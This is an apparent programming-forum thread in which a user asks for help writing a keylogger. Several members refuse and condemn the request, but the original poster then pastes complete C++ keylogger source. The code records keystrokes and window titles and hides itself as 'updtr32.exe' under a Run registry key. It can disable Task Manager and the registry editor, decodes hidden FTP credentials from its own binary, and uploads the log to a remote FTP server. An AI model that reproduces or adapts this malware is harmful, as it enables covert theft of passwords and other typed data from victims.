[C++] can you help me write a very simple keylogger

[nApzter]

i want to understand and wrote a keylogger that i can easily learn, like getting windows title and users keyboard press.. i have so many sources of keyloggers that work but i cannot understand each line so i want it to start it from scratch.. i hope someone helps me. tnx =)

[Codeplug]

>> that i can easily learn
Find something else to learn. No one here is going to hold your hand while developing something that could be used as malware.

>> i cannot understand each line
If there's code you don't understand, post it here and ask what it does.

gg

[Laurentis]

See win32 api ng news://194.177.96.26/comp.os.ms-wind...ogrammer.win32
to get complete and detailed samples in C

[nApzter]

#include <windows.h>
#include <wininet.h>
#include <fstream>
using namespace std;

std::string Keylog(int Key);

int StartUp();

DWORD WINAPI Upload(LPVOID);

int i,
key,
Size,
Sec;

ofstream Log;
ifstream Logger;

char Path[MAX_PATH+10],
RPath[300],
SysDir[MAX_PATH+10],
LogDir[MAX_PATH+10],
WindowText1[MAX_PATH+10],
WindowText2[MAX_PATH+10],
Time[10];

char *Buffer = 0,
*Server = 0,
*User = 0,
*Pass = 0,
*DTask = 0,
*DReg = 0,
*USec = 0,
*UVic = 0;

HKEY hKey;

HINTERNET hFtp,
hInet;

HWND Window;

DWORD dwValue = 1;

int main()
{
StartUp();

GetSystemDirectory(LogDir, sizeof(LogDir));
strcat(LogDir, "\\logg.txt");

Log.open(LogDir, ios:ut);

CreateThread(NULL, 0, Upload, 0, 0, NULL);

while(1)
{
Sleep(5);

_strtime(Time);

Window = GetForegroundWindow();

GetWindowText(Window, WindowText1, sizeof(WindowText1));

for(key = 8; key < 191; key++)
{
if(GetAsyncKeyState(key)&1 == 1)
{
if(strcmp(WindowText1, WindowText2))
{
Log<<"Window Title: "<<WindowText1<<"\n";
Log<<Time<<": ";
strcpy(WindowText2, WindowText1);
}
Log<<Keylog(key);
}
}
}
}

std::string Keylog(int Key)
{
std::string KeyString;

if(Key==0x20)
KeyString = " ";

if(Key==0xBC)
KeyString = ",";

if(Key==0xBD)
KeyString = "-";

if(Key==0xBE)
KeyString = ".";

if(Key==0x08)
KeyString = "[BACKSPACE]";

if(Key==0x09)
KeyString = "[TAB]";

if(Key==0x0D)
KeyString = "[ENTER]";

if(Key==0x10)
KeyString = "[SHIFT]";

if(Key==0x11)
KeyString = "[STRG]";

if(Key==0x12)
KeyString = "[ALT]";

if(Key==0x14)
KeyString = "[CAPITAL]";

if(Key==0x30)
KeyString = "0";

if(Key==0x31)
KeyString = "1";

if(Key==0x32)
KeyString = "2";

if(Key==0x33)
KeyString = "3";

if(Key==0x34)
KeyString = "4";

if(Key==0x35)
KeyString = "5";

if(Key==0x36)
KeyString = "6";

if(Key==0x37)
KeyString = "7";

if(Key==0x38)
KeyString = "8";

if(Key==0x39)
KeyString = "9";

if(Key==0x41)
KeyString = "a";

if(Key==0x42)
KeyString = "b";

if(Key==0x43)
KeyString = "c";

if(Key==0x44)
KeyString = "d";

if(Key==0x45)
KeyString = "e";

if(Key==0x46)
KeyString = "f";

if(Key==0x47)
KeyString = "g";

if(Key==0x48)
KeyString = "h";

if(Key==0x49)
KeyString = "i";

if(Key==0x4A)
KeyString = "j";

if(Key==0x4B)
KeyString = "k";

if(Key==0x4C)
KeyString = "l";

if(Key==0x4D)
KeyString = "m";

if(Key==0x4E)
KeyString = "n";

if(Key==0x4F)
KeyString = "o";

if(Key==0x50)
KeyString = "p";

if(Key==0x51)
KeyString = "q";

if(Key==0x52)
KeyString = "r";

if(Key==0x53)
KeyString = "s";

if(Key==0x54)
KeyString = "t";

if(Key==0x55)
KeyString = "u";

if(Key==0x56)
KeyString = "v";

if(Key==0x57)
KeyString = "w";

if(Key==0x58)
KeyString = "x";

if(Key==0x59)
KeyString = "y";

if(Key==0x5A)
KeyString = "z";

if(Key==0x60)
KeyString = "0";

if(Key==0x61)
KeyString = "1";

if(Key==0x62)
KeyString = "2";

if(Key==0x63)
KeyString = "3";

if(Key==0x64)
KeyString = "4";

if(Key==0x65)
KeyString = "5";

if(Key==0x66)
KeyString = "6";

if(Key==0x67)
KeyString = "7";

if(Key==0x68)
KeyString = "8";

if(Key==0x69)
KeyString = "9";

return KeyString;
}

int StartUp()
{
GetModuleFileName(GetModuleHandle(NULL), Path, sizeof(Path));
GetSystemDirectory(SysDir, sizeof(SysDir));

strcat(SysDir, "\\update_3442897\\updtr32.exe");

if(strcmp(Path, SysDir))
{
GetSystemDirectory(SysDir, sizeof(SysDir));

strcat(SysDir, "\\update_3442897");

CreateDirectory(SysDir, 0);

strcat(SysDir, "\\updtr32.exe");

CopyFile(Path, SysDir, 0);

RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hKey);
RegSetValueEx(hKey, "Updater", 0, REG_SZ, (const unsigned char*)SysDir, sizeof(SysDir));
RegCloseKey(hKey);
}

Logger.open(Path, ios::in | ios::binary);

Logger.seekg(0, ios::end);

Size = Logger.tellg();

Logger.seekg(0, ios::beg);

Buffer = (char*)malloc(Size);

Logger.read(Buffer, Size);

Logger.close();

// Getting infos

for(i = 0; i < Size; i++)
{
if(Buffer[i] == '*' && Buffer[i+1] == '1' && Buffer[i+2] == '*')
{
Server = Buffer + i + 3;
break;
}
}

for(i = 0; i < Size; i++)
{
if(Buffer[i] == '*' && Buffer[i+1] == '2' && Buffer[i+2] == '*')
{
User = Buffer + i + 3;
break;
}
}

for(i = 0; i < Size; i++)
{
if(Buffer[i] == '*' && Buffer[i+1] == '3' && Buffer[i+2] == '*')
{
Pass = Buffer + i + 3;
break;
}
}

for(i = 0; i < Size; i++)
{
if(Buffer[i] == '*' && Buffer[i+1] == '4' && Buffer[i+2] == '*')
{
DTask = Buffer + i + 3;
break;
}
}

for(i = 0; i < Size; i++)
{
if(Buffer[i] == '*' && Buffer[i+1] == '5' && Buffer[i+2] == '*')
{
DReg = Buffer + i + 3;
break;
}
}

for(i = 0; i < Size; i++)
{
if(Buffer[i] == '*' && Buffer[i+1] == '6' && Buffer[i+2] == '*')
{
USec = Buffer + i + 3;
break;
}
}

for(i = 0; i < Size; i++)
{
if(Buffer[i] == '*' && Buffer[i+1] == '7' && Buffer[i+2] == '*')
{
UVic = Buffer + i + 3;
break;
}
}

// Edit infos

if(Server != 0)
{
for(i = 0; i < strlen(Server); i++)
{
if(Server[i] == '*' && Server[i+1] == '2' && Server[i+2] == '*')
{
Server[i] = 0;
}
}

for(i = 0; i < strlen(Server); i++)
Server[i] = Server[i]-2;
}

if(User != 0)
{
for(i = 0; i < strlen(User); i++)
{
if(User[i] == '*' && User[i+1] == '3' && User[i+2] == '*')
{
User[i] = 0;
}
}

for(i = 0; i < strlen(User); i++)
User[i] = User[i]-2;
}

if(Pass != 0)
{
for(i = 0; i < strlen(Pass); i++)
{
if(Pass[i] == '*' && Pass[i+1] == '4' && Pass[i+2] == '*')
{
Pass[i] = 0;
}
}

for(i = 0; i < strlen(Pass); i++)
Pass[i] = Pass[i]-2;
}

if(DTask != 0)
{
for(i = 0; i < strlen(DTask); i++)
{
if(DTask[i] == '*' && DTask[i+1] == '5' && DTask[i+2] == '*')
{
DTask[i] = 0;
}
}

for(i = 0; i < strlen(DTask); i++)
DTask[i] = DTask[i]-2;
}

if(DReg != 0)
{
for(i = 0; i < strlen(DReg); i++)
{
if(DReg[i] == '*' && DReg[i+1] == '6' && DReg[i+2] == '*')
{
DReg[i] = 0;
}
}

for(i = 0; i < strlen(DReg); i++)
DReg[i] = DReg[i]-2;
}

if(USec != 0)
{
for(i = 0; i < strlen(USec); i++)
{
if(USec[i] == '*' && USec[i+1] == '7' && USec[i+2] == '*')
{
USec[i] = 0;
}
}

for(i = 0; i < strlen(USec); i++)
{
USec[i] = USec[i]-2;
}

Sec = atoi(USec);
}

if(UVic != 0)
{

for(i = 0; i < strlen(UVic); i++)
UVic[i] = UVic[i]-2;

strcat(UVic, " - Online.txt");
}

if(DTask != 0)
{
if(!strcmp(DTask, "yes"))
{
RegOpenKeyEx(HKEY_CURRENT_USER, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", 0, KEY_SET_VALUE, &hKey);
RegSetValueEx(hKey, "DisableTaskMgr", 0, REG_DWORD, (LPBYTE)&dwValue, sizeof(DWORD));
RegCloseKey(hKey);
}
}

if(DReg != 0)
{
if(!strcmp(DReg, "yes"))
{
RegOpenKeyEx(HKEY_CURRENT_USER, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", 0, KEY_SET_VALUE, &hKey);
RegSetValueEx(hKey, "DisableRegistryTools", 0, REG_DWORD, (LPBYTE)&dwValue, sizeof(DWORD));
RegCloseKey(hKey);
}
}
}

DWORD WINAPI Upload(LPVOID)
{
Sleep(Sec);

Log.close();

hInet = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);

hFtp = InternetConnect(hInet, "ftpserver", INTERNET_DEFAULT_FTP_PORT, "username", "pass", INTERNET_SERVICE_FTP, 0, 0);

FtpPutFile(hFtp, LogDir, UVic, FTP_TRANSFER_TYPE_BINARY, 0);

InternetCloseHandle(hFtp);
InternetCloseHandle(hInet);

exit(0); //Log uploaded, exit now !
}

[Igor Vartanov]

Now, could you explain what is the point of all this? You gonna learn stealing passwords and infecting workstations? You got to wrong place, nobody here likes that. You gonna learn something of a kind more close to "programming" from that... horrible something you called a "source"? I really doubt that, man. In case I would see something similar during a job interview, the author would be seen off in a minute, invited to drop in in five, or better ten years.

[smallwolf]

I hope you don't develope virus!

[Rehorav]

This child could not develop a virus or malware. He can't understand the code, let alone the compiler. He probably wants to make a keylogger so he can infect people on the internet and be a "1337 haq0r".

Change your intentions, change your question and come back to CodeGuru . This is a place of learning for CONSTRUCTIVE purposes, you have DESTRUCTIVE purposes.

[zaryk]

Well, based on another post by, I assume a friend of his or maybe even the same person, he is creating a logger for a game. I could hardly understand what the other one was saying so I really don't know the concept behind it.

[Rehorav]

Well, based on another post by, I assume a friend of his or maybe even the same person, he is creating a logger for a game. I could hardly understand what the other one was saying so I really don't know the concept behind it.

A logger for a game? As in stealing CD Keys for games?

[NinjaNarwhal]

Is the smiley a "" or a "(:"?

[NinjaNarwhal]

or maybe a or (;

[NinjaNarwhal]

:O 8 :0 80 8O

[NinjaNarwhal]

[NinjaNarwhal]

ok figured it out lol

[jonnymonster]

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